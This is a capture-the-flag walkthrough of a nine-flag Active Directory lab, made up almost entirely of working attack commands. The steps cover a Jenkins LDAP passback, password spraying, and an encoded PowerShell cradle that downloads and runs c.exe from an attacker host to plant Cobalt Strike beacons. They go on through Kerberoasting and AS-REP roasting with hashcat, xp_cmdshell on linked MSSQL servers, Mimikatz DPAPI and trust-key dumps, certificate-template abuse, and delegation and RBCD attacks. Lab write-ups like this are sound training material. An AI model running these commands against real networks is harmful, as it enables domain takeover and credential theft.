

CTF Walkthrough

Procedure

1. Discovering Live Hosts

Run the following loop to identify live hosts in the subnet:

```
for i in {1..254} ; do (ping -c 1 10.10.2.$i | grep "bytes from" &) ; done
```

- **Result:** You will find 10.10.2.239 is alive.

2. Scanning the Jenkins Server

Perform an nmap scan to identify open ports and services:

```
nmap --min-rate 5000 -sC -sV 10.10.2.239
```

- **Result:** Port 8080 with Jenkins server open.

3. Exploiting Jenkins Server

Log in to Jenkins using default credentials admin:admin . Modify the pipeline to change the LDAP server IP address and port. Start a listener on your machine:

```
nc <your-ip> <port>
```

Run the pipeline to capture plain text credentials via a passback attack:

- **Credentials Obtained:** svc-ldap:LdapServiceJenkins12

4. Password Spraying

Spray the obtained password across the subnet:

```
crackmapexec winrm 10.10.2.0/24 -u svc-ldap -p 'LdapServiceJenkins12' --continue-on-success
```

- **Result:** Success on 10.10.2.240 .

5. Establishing Connection

Use evil-winrm to log in:

```
evil-winrm -i 10.10.2.240 -u svc-ldap -p 'LdapServiceJenkins12'
```

6. Executing PowerShell Payload

Encrypt the payload and execute it to get a beacon on the Cobalt Strike team server:

```
$str = 'IEX(IWR -Uri http://10.10.2.15:80/bypass -UseBasicParsing);Invoke-WebRequest -Uri "http://10.10.2.15:80/c.exe" -OutFile "$env:TEMP\file.exe"; Start-Process -FilePath "$env:TEMP\file.exe" -Wait' [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
```

```
powershell -ep bypass -enc <base64-encoded-payload>
```

7. Importing PowerView

Enumerate the domain using PowerView into the obtained beacon:

```
powershell-import  
/Users/ahmedpinger/Documents/Tools/PowerSploit/Recon/PowerView.ps1
```

8. Enumerating LAPS

Use LAPSToolkit to find machines with LAPS enabled and retrieve the password on the wkstn1 beacon:

```
make_token DEV\svc-ldap LdapServiceJenkins12  
powerpick Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? {  
$_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match  
"ReadProperty" } | fl ObjectDn, SecurityIdentifier  
powerpick ConvertFrom-SID S-1-5-21-2098630407-1218794762-3765879241-1103  
powerpick net localgroup LAPSAdmins /domain
```

Retrieve the LAPS password:

```
powerpick Get-DomainComputer -Identity wkstn1 -Properties ms-Mcs-AdmPwd
```

- **Password Obtained:** 2gy)+VAXhTtA@R 

9. Vertical Movement

Spawn a shell on the target machine:

```
spawnas wkstn1\Administrator 2gy)+VAxhTtA@R smb
```

10. Capturing the Flag


Read the flag file:

```
powershell type C:\Users\Administrator\Desktop\flag.txt
```

- **Flag:** flag{Passback_Attack_and_LAPS} 
-

Flag 2

1. ASREPROasting Attack:

- Execute ASREPROasting attack on the captured beacon with `svc-ldap`  users.

Command:

```
execute-assembly  
/Users/ahmedpinger/Documents/Tools/Rubeus/Rubeus/bin/Release/Rubeus.exe asreproast /nowrap
```

2. Hash Cracking for Ticket:

- Utilize Hashcat to crack the obtained ticket hash for `svc-mssql`  .

Command:

```
sudo hashcat -m 18200 hash.txt ~/Downloads/wordlists/rockyou.txt -O
```

3. Password Spraying for New Credentials:

- Perform password spraying across the subnet to find weak credentials.


Command:

```
crackmapexec smb 10.10.2.0/24 -u svc-mssql -p 'Sh1mm1e' --continue-on-success 
```

4. Enumeration and Lateral Movement:

- Use CrackMapExec to run the command to get a beacon on wkstn2.

Command:

```
crackmapexec smb 10.10.2.168 -u svc-mssql -p 'Sh1mm1e' -X "powershell -ep  
bypass -enc 'SQ...BFA'" 
```

5. Retrieve the flag:

```
powershell type C:\Users\Administrator\Desktop\flag.txt 
```


Flag 3:

1. Import PowerUpSQL module:

```
powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1
```

2. Test SQL Connection:

```
make_token DEV\svc-mssql Sh1mm1e  
  
powerpick Get-SQLInstanceDomain  
powerpick SQLInstanceBroadcast  
powerpick Get-SQLInstanceScanUDP  
  
powershell Get-SQLConnectionTest -Instance "dc-  
1.dev.hackerverse.games,1433" | fl
```

This command tests the connection to the MSSQL server at "dc-1.dev.hackerverse.games" on port 1433 with the user `svc-mssql`  .


Setup SOCKS Proxy from Teamserver Beacon:

On any beacon, set up a SOCKS proxy from Teamserver and use that teamserver proxy in windows machine with your favorite tool, I am using proxifier.

Attacker Windows Machine:

1. Run HeidiSQL as `svc-mssql` user:

```
runas /netonly /user:DEV\svc-mssql  
"\\Mac\Home\Documents\Tools\HeidiSQL\heidisql.exe"
```

This command runs HeidiSQL tool as the `svc-mssql`  user for accessing MSSQL server.

MSSQL Server Commands:

1. List linked servers:

```
SELECT name, data_source, provider
FROM sys.servers
WHERE is_linked = 1;
```

This SQL query lists linked servers configured on the MSSQL instance.

2. List server-level impersonation permissions:

```
SELECT
    dp.name AS Impersonator,
    dp.type_desc AS Impersonator_Type,
    dp2.name AS Impersonated,
    dp2.type_desc AS Impersonated_Type
FROM
    sys.server_permissions AS perm
JOIN
    sys.server_principals AS dp ON perm.grantor_principal_id =
    dp.principal_id
JOIN
    sys.server_principals AS dp2 ON perm.grantee_principal_id =
    dp2.principal_id
WHERE
    perm.permission_name = 'IMPERSONATE'
ORDER BY
    dp.name, dp2.name;
```

This query retrieves server-level impersonation permissions.

3. Impersonate sys-admin and confirm privileges:

```
EXECUTE AS login = 'sys-admin'; SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
```

These commands impersonate the `sys-admin` login and confirm sysadmin privileges.

4. Enable xp-cmd shell and get a beacon:

```
-- Check if xp_cmdshell is enabled on the linked server
SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell'

EXEC sp_serveroption @server = 'SQL-1.HACKR.GAMES', @optname = 'rpc
out', @optvalue = 'true';
```

```
-- Enable advanced options
EXEC ('EXEC sp_configure 'show advanced options'', 1;
RECONFIGURE;');

-- Enable xp_cmdshell
EXEC ('EXEC sp_configure 'xp_cmdshell'', 1; RECONFIGURE;') ;

-- Recheck xp_cmdshell setting
SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';

-- Execute xp_cmdshell command
EXEC xp_cmdshell 'powershell.exe -nop -w hidden -enc [SQB...FAF]';
```

These commands enable xp_cmdshell and execute a PowerShell command to get a beacon on the domain controller of the domain dev.hackerverse.games.



Retrieve the Flag:

Executing the last query on the domain controller will get you a beacon, and the flag can be found at the specified location.

```
powershell type C:\Users\Administrator\Desktop\flag.txt
```

Flag: flag{Running_MSSQL_With_DA_is_Not_Safe} 


Flag 4

To get a Flag 4, just follow the steps where we left last time, on the SQL Server on domain controller of dev.hackerverse.games  we found that there was a linked server sitting on a domain hackr.games .

MSSQL Commands for Linked Server Exploitation:

1. Impersonate sys-admin  and retrieve system user:

```
EXECUTE AS login = 'sys-admin'; SELECT SYSTEM_USER;
```

This command impersonates the sys-admin  login and retrieves the system user.

2. Enumerate linked servers and check RPC settings:

```
SELECT srvname, srvproduct, rpcout FROM master..sys.servers;
```

This SQL query enumerates linked servers and checks their RPC settings.

3. Enable xp_cmdshell on the linked server and execute command to get a beacon:

```
EXECUTE AS login = 'sys-admin'; SELECT SYSTEM_USER;
-- Check if xp_cmdshell is enabled on the linked server
SELECT * FROM OPENQUERY([SQL-1.HACKR.GAMES], 'SELECT value FROM
sys.configurations WHERE name = ''xp_cmdshell'');

EXEC sp_serveroption @server = 'SQL-1.HACKR.GAMES', @optname = 'rpc
out', @optvalue = 'true';

-- Enable advanced options on the linked server
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE;')
AT [SQL-1.HACKR.GAMES];

-- Enable xp_cmdshell on the linked server
EXEC ('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [SQL-
1.HACKR.GAMES];

-- Recheck xp_cmdshell setting on the linked server
SELECT * FROM OPENQUERY([SQL-1.HACKR.GAMES], 'SELECT value FROM
sys.configurations WHERE name = ''xp_cmdshell'');

-- Execute xp_cmdshell command on the linked server
EXEC ('EXEC xp_cmdshell ''powershell.exe -nop -w hidden -enc
"SQB...FAF'';') AT [SQL-1.HACKR.GAMES];
```

These commands enable xp_cmdshell on the linked server and execute a PowerShell payload to get a beacon on SQL server on domain `hackr.games` .

Finding Flag:

Executing the last query on the MSSQL server will generate a beacon, and the flag can be found at the specified location.

```
powerpick type C:\Users\Administrator\Desktop\flag.txt
```

Flag: flag{LinkedServer_With_Sys-Admin_is_Not_Safe}

Flag 5

The flag 5 has some AV Bypassing so generate you payload according to this.

Commands to Run on SQL Server Beacon:

1. List Credentials Directory:

```
ls
```

```
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
```

This command lists the contents of the directory containing credentials. It helps in identifying stored credentials on the system.

2. Mimikatz to Decrypt Credentials:

```
mimikatz dpapi::cred  
/in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\3A09230CB70DA02D4386AFD7734DE84B
```

```
mimikatz !sekurlsa::dpapi
```

These commands utilize Mimikatz to decrypt DPAPI-protected credentials. DPAPI (Data Protection API) is used by Windows to protect and encrypt sensitive data, including credentials.

3. Dump Scheduled Task DPAPI Credentials:

```
mimikatz dpapi::cred  
/in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\3A09230CB70DA02D4386AFD7734DE84B  
/masterkey:04df8b04cfabf631b09cbc3208b28c5f873bfc054f812d6a6ba6b1861b76aa231df35a4d66b7f2bf076a9cdcb54005db97a3751563c60f6ab18734370b2d26d4
```

```
mimikatz dpapi::cred  
/in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\4645B5377AF9A6EF9127E5671C1D39BA  
/masterkey:04df8b04cfabf631b09cbc3208b28c5f873bfc054f812d6a6ba6b1861b76aa231df35a4d66b7f2bf076a9cdcb54005db97a3751563c60f6ab18734370b2d26d4
```

This command specifically targets DPAPI-encrypted credentials associated with scheduled tasks, using the master key for decryption.

Obtained Credentials:

- **Username:** HACKR\john
- **Password:** TheJsPass1@#
- **Username:** HACKR\john
- **Password:** ThePasswordForJOhhhhnny!@#

Password Spray and SMB Login to Check The Validity of Credentials.:

1. Perform Password Spray Attack:

```
crackmapexec smb 10.10.1.182 -u john -p 'ThePasswordForJ0hnhhnnny!@#'
-X 'powershell -ep bypass -enc [SQB...FGG] '

crackmapexec smb 10.10.1.0/24 -u jjohn -p 'TheJsPass1@#' --continue-
on-success
```

This command attempts to authenticate with SMB using the obtained credentials. Password spraying is a technique used to attempt a single password against multiple usernames to gain unauthorized access.

2. Successful Login:

```
[+] hackr.games\jjohn:TheJsPass1@# (Pwn3d!)
```

This indicates successful authentication with SMB using the provided credentials. As now from Crackmapexec output we know that these creds are valid for js-pc so we will use WMI to perform lateral movement on the js-pc

Lateral Movement with WMI:

1. Execute Command on MSSQL Server Beacon :



```
make_token HACKR\jjohn TheJsPass1@#
execute-assembly
/Users/ahmedpinger/Documents/Tools/SharpWMI/SharpWMI/bin/Release/Shar
pWMI.exe action=exec computername=js-pc.hackr.games
command="powershell -ep bypass -enc SQB...FAF"
```

This command leverages WMI (Windows Management Instrumentation) to execute a PowerShell command on the target machine js-pc. WMI is a powerful management framework for Windows operating systems.

2. Linking Beacons:

```
link js-pc.hackr.games pinger
```

This command links the beacon to js-pc.hackr.games with the name pipe pinger. Beacon linking is a method used in penetration testing to establish a

connection between attacker and target systems. Use either `connect`  or `link`  depend on your payload type.

AV Bypass and Accessing Flag:


1. Navigate to Desktop:

```
cd C:\Users\Administrator\Desktop
```

This command changes the directory to the desktop of the Administrator user. Accessing the desktop directory is common to look for files and flags left by administrators or other users.

2. Extract Flag:

```
powerpick type flag.txt
```






This command extracts and displays the content of the `flag.txt`  file. It retrieves the flag which is typically hidden or protected.

Flag:

```
flag{SchTsk_Creds_with_DPAPI_are_dangerous}
```

This is the extracted flag. It signifies the successful completion of the penetration testing scenario.

Flag 6

Flag 6 involves exploiting a vulnerable certificate template, we will perform whole exploitation with the `MSSQL Server Beacon`  because the `JS-PC`  is running a `Windows 11`  and it's harder to bypass AV on `Windows 11`  as compared to the `Windows Server 2022` .

Enumeration on Certificate Authority (CA) on Domain Controller (DC):

Run all commands on the `MSSQL Server Beacon` 

1. Enumerate CA Certificates:

```
make_token HACKR\jjohn TheJsPass1@#

execute-assembly
/Users/ahmedpinger/Documents/Tools/Certify/Certify/bin/Release/Certif
y.exe cas
```

This command enumerates the Certificate Authorities (CAs) configured on the Domain Controller.

2. Find Vulnerable Certificate Templates:

```
execute-assembly
/Users/ahmedpinger/Documents/Tools/Certify/Certify/bin/Release/Certif
y.exe find /vulnerable
```

This command identifies vulnerable certificate templates on the Certificate Authority.

3. Request Custom Certificate:

```
execute-assembly
/Users/ahmedpinger/Documents/Tools/Certify/Certify/bin/Release/Certif
y.exe request /ca:dc-1.hackr.games\hackr-DC-1-CA /template:CustomUser
/altname:Administrator
```

This command requests a custom certificate from the Certificate Authority with the specified template and alternate name.

4. Export and Convert Certificate on Linux:

```
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out cert.pfx
cat cert.pfx | base64 -w 0
```

These commands export and convert the obtained certificate to a base64-encoded format, suitable for use on Windows.

Access DC with Obtained Certificate:

1. Request TGT with Rubeus:

```
rev2self

execute-assembly
/Users/ahmedpinger/Documents/Tools/Rubeus/Rubeus/bin/Release/Rubeus.e
```

```
xe asktgt /user:Administrator /certificate:MII{stripped}NLQ  
/password:asdf /nowrap
```

This command requests a Ticket Granting Ticket (TGT) for the Administrator user using the obtained certificate.

2. Create NetOnly Ticket with Rubeus:

```
execute-assembly  
/Users/ahmedpinger/Documents/Tools/Rubeus/Rubeus/bin/Release/Rubeus.e  
xe createnonly /program:C:\Windows\System32\cmd.exe /domain:HACKR  
/username:Administrator /password:asdf  
/ticket:doIGVj{stripped}CCBlKgA
```

This command creates a NetOnly ticket for command execution with the specified program path.

3. Steal Token:

```
steal_token <id>
```

This command steals a token identified by its ID.

4. Create NetOnly Ticket with Pass-The-Ticket (PTT):

```
execute-assembly  
/Users/ahmedpinger/Documents/Tools/Rubeus/Rubeus/bin/Release/Rubeus.e  
xe createnonly /program:C:\Windows\System32\cmd.exe  
/ticket:doIGVj{stripped}CCBlKgA /ptt
```

This command creates a NetOnly ticket with Pass-The-Ticket (PTT) option for immediate use.

Lateral Movement and Accessing Flag:


1. Execute Command On DC with WMI:

```
execute-assembly  
/Users/ahmedpinger/Documents/Tools/SharpWMI/SharpWMI/bin/Release/Shar  
pWMI.exe action=exec computername=dc-1.hackr.games  
command="powershell -ep bypass -enc [ASD...FGH]"
```

This command will run the payload on the DC in form of powershell command.

2. Access Flag:

```
powerpick type C:\Users\Administrator\Desktop\flag.txt
```

This command retrieves and displays the content of the `flag.txt`  file located on the Administrator's desktop.

Flag:

```
flag{Certificate_Templates_are_PowerFull}
```

This is the extracted flag indicating successful lateral movement and access.

Flag 7

It involves the exploitation of Out-Bound domain trust and then moving forward and performing lateral movement with the kerberoasting attack.

Enumerating Domain Trusts on DC:

1. Import PowerView Module:

Perform these things in a beacon of DC in the domain `hackr.games`  .

```
powershell-import  
/Users/ahmedpinger/Documents/Tools/PowerSploit/Recon/PowerView.ps1
```

This command imports the PowerView module, which is used for Active Directory enumeration.

2. Get Domain Trusts:

```
powerpick Get-DomainTrust
```

This command retrieves information about domain trusts within the current domain. It helps identify trusted domains.

Dumping RC4 of Domain Trust:

1. Dump RC4 Hash of Domain Trust:

```
mimikatz lsadump::trust /patch
```

This command uses Mimikatz to dump the RC4 hash of the domain trust. RC4 is a symmetric stream cipher used for encrypting network traffic.

Obtaining TGT for Trust Account:

1. Request TGT for Trust Account:

```
execute-assembly  
/Users/ahmedpinger/Documents/Tools/Rubeus/Rubeus/bin/Release/Rubeus.exe asktgt /user:HACKR$ /domain:kikrr.local  
/rc4:19fc7d52d877f61a78c4a9637fefffa6 /nowrap
```

This command requests a Ticket Granting Ticket (TGT) for the trust account HACKR\$ in the domain kikrr.local using the obtained RC4 hash.

2. Create NetOnly Ticket with TGT:

```
execute-assembly  
/Users/ahmedpinger/Documents/Tools/Rubeus/Rubeus/bin/Release/Rubeus.exe createnonly /program:C:\Windows\System32\cmd.exe  
/domain:kikrr.local /username:HACKR$ /password:adsf  
/ticket:doI[snip]FSD  
  
steal_token <PID>  
  
execute-assembly  
/Users/ahmedpinger/Documents/Tools/Rubeus/Rubeus/bin/Release/Rubeus.exe createnonly /program:C:\Windows\System32\cmd.exe  
/domain:kikrr.local /username:HACKR$ /password:adsf  
/ticket:doI[snip]FSD /ptt
```

This command creates a NetOnly ticket for command execution in the kikrr.local domain using the obtained TGT. Now as we have the ticket in our key list, now we have somewhat tiny access to the domain kikrr.local and from this access we can perform some enumeration.

Kerberoasting and Password Cracking:

1. Identify Kerberoastable Accounts:

```
execute-assembly  
/Users/ahmedpinger/Documents/Tools/Rubeus/Rubeus/bin/Release/Rubeus.exe kerberoast /simple /domain:kikrr.local
```

This command identifies accounts vulnerable to Kerberoasting in the `kikrr.local` domain.

2. Crack Kerberos Ticket-Granting Ticket (TGS) Hash:

```
sudo hashcat -m 13100 hash.txt ~/Downloads/wordlists/rockyou.txt -O
```

This command uses Hashcat to crack the Kerberos TGS hash, typically obtained through Kerberoasting, using a password dictionary.

Accessing Resources and Obtaining Flag:

1. Use Cracked Service Account Credentials:

```
crackmapexec smb 10.10.3.0/24 -u svc-cifs -p 'Password!'
```

This command uses the cracked credentials for the `svc-cifs` service account to authenticate via SMB to hosts within the `kikrr.local` domain. We found with this command that these creds are valid for the system `print-srv` on `kikrr.local` domain.

2. Navigate to Desktop and Access Flag:

```
make_token KIKRR\svc-cifs Password!  
cd \\print-srv.kikrr.local\c$\Users\Administrator\Desktop  
powerpick type flag.txt
```

These commands navigate to the Administrator's desktop on the `print-srv.kikrr.local` host and display the content of the `flag.txt` file.

Flag:

```
flag{Out-Bound_Trust_with_RC4_WoW!}
```

This is the extracted flag indicating successful lateral movement and access.

Flag 8

The Flag 8 involves the exploitation of a `Constrained Delegation` for `File Server` in the domain `kikrr.local`.

Obtaining Foothold on `print-srv` with Cobalt Strike:

1. Create Token for `svc-cifs` Service Account:

```
make_token KIKRR\svc-cifs Password!
```

This command creates a token for the `svc-cifs` service account using the provided password. Now after this do all of the regular stuff e.g uploading a payload and running that and linking or connecting with that according to the type of the payload. Now from this step run all of the commands on a print-srv

2. Search for Constrained Delegation:

```
execute-assembly  
/Users/ahmedpinger/Documents/Tools/ADSearch/ADSearch/bin/Release/ADSearch.exe --search "(&(objectCategory=*)(msds-allowedtodelegateto=*))"  
--attributes dnshostname,samaccountname,msds-allowedtodelegateto --json
```

This command searches for all objects that have the attribute `msds-allowedtodelegateto` set, indicating the presence of constrained delegation. We found out with this command is that the account `svc-cifs` can perform constrained delegation on a several services on a file server .

3. Get the TGTs for the Current Accounts:

```
execute-assembly  
/Users/ahmedpinger/Documents/Tools/Rubeus/Rubeus/bin/Release/Rubeus.exe tgtdeleg /nowrap
```

This command fetches a TGT of current user

4. Perform S4U Technique:

```
execute-assembly  
/Users/ahmedpinger/Documents/Tools/Rubeus/Rubeus/bin/Release/Rubeus.exe s4u /ticket:do...IFj /impersonateuser:Administrator  
/domain:kikrr.local /msdsspn:cifs/fs.kikrr.local /dc:dc-1.kikrr.local /ptt
```

This command uses the obtained ticket to impersonate the `Administrator` user and requests a service ticket for the target service `cifs/fs.kikrr.local` using the S4U protocol.

Accessing Resources and Obtaining Flag:

1. Access Flag on Administrator's Desktop:


```
powerpick type  
\\fs.kikrr.local\c$\Users\Administrator\Desktop\flag.txt
```

This command accesses and displays the content of the `flag.txt` file located on the Administrator's desktop on the file server `fs.kikrr.local`.

2. Access Passwords File on User's Documents:

```
powerpick type \\fs.kikrr.local\c$\Users\naa\Documents\passwords.txt
```

This command accesses and displays the content of the `passwords.txt` file located in the `Documents` folder of the user `naa` on the file server `fs.kikrr.local`.

Extracted Information:

- **Flag:**

```
flag{Stop_Peeking_Me_Bro_With_Constrained_Delegation}
```

This is the extracted flag indicating successful exploitation and access.

- **User Credentials:**

```
KIKKR\naa: TheNetworkaa1@#
```

These are the credentials for the user `naa` obtained from the `passwords.txt` file.

Flag 9

This Flag involves the exploitation of `RBCD` with the help of user `naa`.

Searching for Resource-Based Constrained Delegation (RBCD):

1. Dump Out the Information with Bloodhound:

```
bloodhound-python -d kikrr.local -u naa -p 'TheNetworkaa1@#' -ns  
10.10.3.78 -c all
```

This command on linux will dump out every info out of this domain

2. Enumerate ACL for Computers with Write Access:

After uploading stuff to Bloodhound DB, just mark the user `naa` as owned and get a path from that to domain admin.

Performing Resource-Based Constrained Delegation (RBCD):

1. Create New Computer on a Domain:

```
impacket-addcomputer kikrr.local/naa:'TheNetworkaa1@#' -computer-name  
EvilComputer$ -method LDAPS -dc-ip 10.10.3.78
```

This command creates a new computer account named `EvilComputer` in the domain.

2. Obtain Hash for EvilComputer\$ Account:

```
execute-assembly  
/Users/ahmedpinger/Documents/Tools/Rubeus/Rubeus/bin/Release/Rubeus.e  
xe hash /password:<Password retrieved from the creation of computer>  
/user:EvilComputer$ /domain:kikrr.local  
  
execute-assembly  
/Users/ahmedpinger/Documents/Tools/Rubeus/Rubeus/bin/Release/Rubeus.e  
xe asktgt /user:EvilComputer$  
/aes256:8B05FC015DF0010029618A5311FFCB5B7369D597E92C99B600C87D31E7B81  
CE2 /nowrap
```

This command obtains the password hash for the `EvilComputer$` account.

3. Retrieve SID of EvilComputer:

```
make_token KIKRR\naa TheNetworkaa1@#  
  
powerpick Get-DomainComputer -Domain kikrr.local -Identity  
EvilComputer -Properties objectSid
```

This command retrieves the SID of the `EvilComputer` account.

4. Grant msDS-AllowedToActOnBehalfOfOtherIdentity Rights:

```
powershell-import  
/Users/ahmedpinger/Documents/Tools/PowerSploit/Recon/PowerView.ps1  
  
powerpick $rsd = New-Object  
Security.AccessControl.RawSecurityDescriptor "0:BAD:
```

```
(A;;;CCDCLCSWRPWPDTLOCRSDRCWDW0;;;S-1-5-21-3971172904-580618121-675634979-2102)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "dc-1" -Domain kikrr.local | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose
```

This command grants the `EvilComputer$` account the necessary rights for resource-based constrained delegation.

Impersonating Administrator and Accessing Resources:

1. Perform S4U Technique:

```
execute-assembly  
/Users/ahmedpinger/Documents/Tools/Rubeus/Rubeus/bin/Release/Rubeus.exe s4u /user:EvilComputer$ /domain:KIKRR /dc:dc-1.kikrr.local /impersonateuser:Administrator /msdssp:cifs/dc-1.kikrr.local /ticket:doIFt...jCCB /nowrap
```

This command uses the obtained ticket to impersonate the `Administrator` user for the target service `cifs/dc-1.kikrr.local` using the S4U protocol. The ticket used here is of user `EvilComputer$`.

2. Create NetOnly Process with S4U Ticket:

```
execute-assembly  
/Users/ahmedpinger/Documents/Tools/Rubeus/Rubeus/bin/Release/Rubeus.exe createnonly /program:C:\Windows\System32\cmd.exe /domain:KIKRR /username:Administrator /password:FakePass /ticket:doIGp[.....]DCCBqC
```

This command creates a NetOnly process with the obtained S4U ticket, allowing command execution as the `Administrator` user.

3. Access Flag on Administrator's Desktop:

```
powerpick type \\dc-1.kikrr.local\c$\Users\Administrator\Desktop\flag.txt
```

This command accesses and displays the content of the `flag.txt` file located on the Administrator's desktop on the domain controller.

Extracted Information:

- **Final Flag:**

```
flag{RBCD_HMMM!_Nice_One_Now_You_Are_k1NG!!!!!!}
```

This is the final flag obtained from the domain controller.